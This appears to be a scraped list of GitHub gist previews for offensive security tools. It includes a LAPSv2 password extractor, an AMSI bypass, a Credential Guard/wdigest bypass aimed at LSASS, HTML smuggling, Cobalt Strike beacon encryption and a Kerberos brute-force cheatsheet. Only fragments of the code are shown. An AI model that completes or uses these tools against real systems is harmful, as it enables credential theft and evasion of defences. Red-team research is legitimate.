zblurx / lapsv2_decryptor.py

Last active April 24, 2024 06:42

Simple script to extract local admin password in cleartext with LAPSv2 using impacket

	import argparse
	import typing
	import math
	from uuid import UUID
	from pyasn1.codec.der import decoder
	from pyasn1_modules import rfc5652
	from struct import unpack
	from cryptography import utils
	from cryptography.exceptions import AlreadyFinalized, InvalidKey
	from cryptography.hazmat.primitives.kdf import KeyDerivationFunction

alfarom256 / Source.cpp

Last active September 28, 2024 04:01

Thread Execution via NtCreateWorkerFactory

	#include <Windows.h>
	#include <winternl.h>
	#include <stdio.h>

	#define WORKER_FACTORY_FULL_ACCESS 0xf00ff

	// https://github.com/winsiderss/systeminformer/blob/17fb2e0048f062a04394c4ccd615b611e6ffd45d/phnt/include/ntexapi.h#LL1096C1-L1115C52
	typedef enum _WORKERFACTORYINFOCLASS
	{
	WorkerFactoryTimeout, // LARGE_INTEGER

susMdT / Program.cs

Created February 24, 2023 02:57

C# Amsi bypass with hardware breakpint

	using System;
	using System.Collections.Generic;
	using System.Linq;
	using System.Runtime.CompilerServices;
	using System.Net;
	using System.Reflection;
	using System.Runtime.InteropServices;
	namespace Test
	{
	// CCOB IS THE GOAT

iNoSec2 / CredGuard_PoC

Created January 3, 2023 13:41 — forked from N4kedTurtle/CredGuard_PoC

PoC for enabling wdigest to bypass credential guard

	#define _CRT_SECURE_NO_WARNINGS
	#include <Windows.h>
	#include <Psapi.h>
	#include <TlHelp32.h>
	#include <iostream>

	DWORD GetLsassPid() {

	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

Cracked5pider / Buffer.c

Last active October 1, 2024 13:27

	#include <Buffer.h>

	/*!
	* Allocates an empty buffer
	* @return pointer to empty buffer
	*/
	PVOID BufferNew( )
	{
	// Allocate a buffer that contains * nothing *
	return ( PVOID ) LocalAlloc( LPTR, 0 );

JamesCooteUK / html-smuggling-example.html

Created November 11, 2021 08:35

HTML Smuggling Example

	<!doctype html>
	<html>
	<head>
	<meta name="viewport" content="width=device-width" />
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<title>Simple Transactional Email</title>
	<style>
	/* -------------------------------------
	GLOBAL RESETS
	------------------------------------- */

N4kedTurtle / CredGuard_PoC

Created August 25, 2020 14:17

PoC for enabling wdigest to bypass credential guard

	#define _CRT_SECURE_NO_WARNINGS
	#include <Windows.h>
	#include <Psapi.h>
	#include <TlHelp32.h>
	#include <iostream>

	DWORD GetLsassPid() {

	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

olliencc / beacon-aes.py

Created June 15, 2020 10:25

CobaltStrike Beacon AES encryption

	import hashlib
	import hmac
	import binascii
	import base64
	import sys
	import struct
	from Crypto.Cipher import AES

	HASH_ALGO = hashlib.sha256
	SIG_SIZE = HASH_ALGO().digest_size

TarlogicSecurity / kerberos_attacks_cheatsheet.md

Created May 14, 2019 13:33

A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

curi0usJack / .htaccess

Last active October 5, 2024 14:07

FYI THIS IS NO LONGER AN .HTACCESS FILE. SEE COMMENTS BELOW. DON'T WORRY, IT'S STILL EASY.

	#
	# TO-DO: set \|DESTINATIONURL\| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
	#
	# Note this version requires Apache 2.4+
	#
	# Save this file into something like /etc/apache2/redirect.rules.
	# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
	#
	# Include /etc/apache2/redirect.rules
	#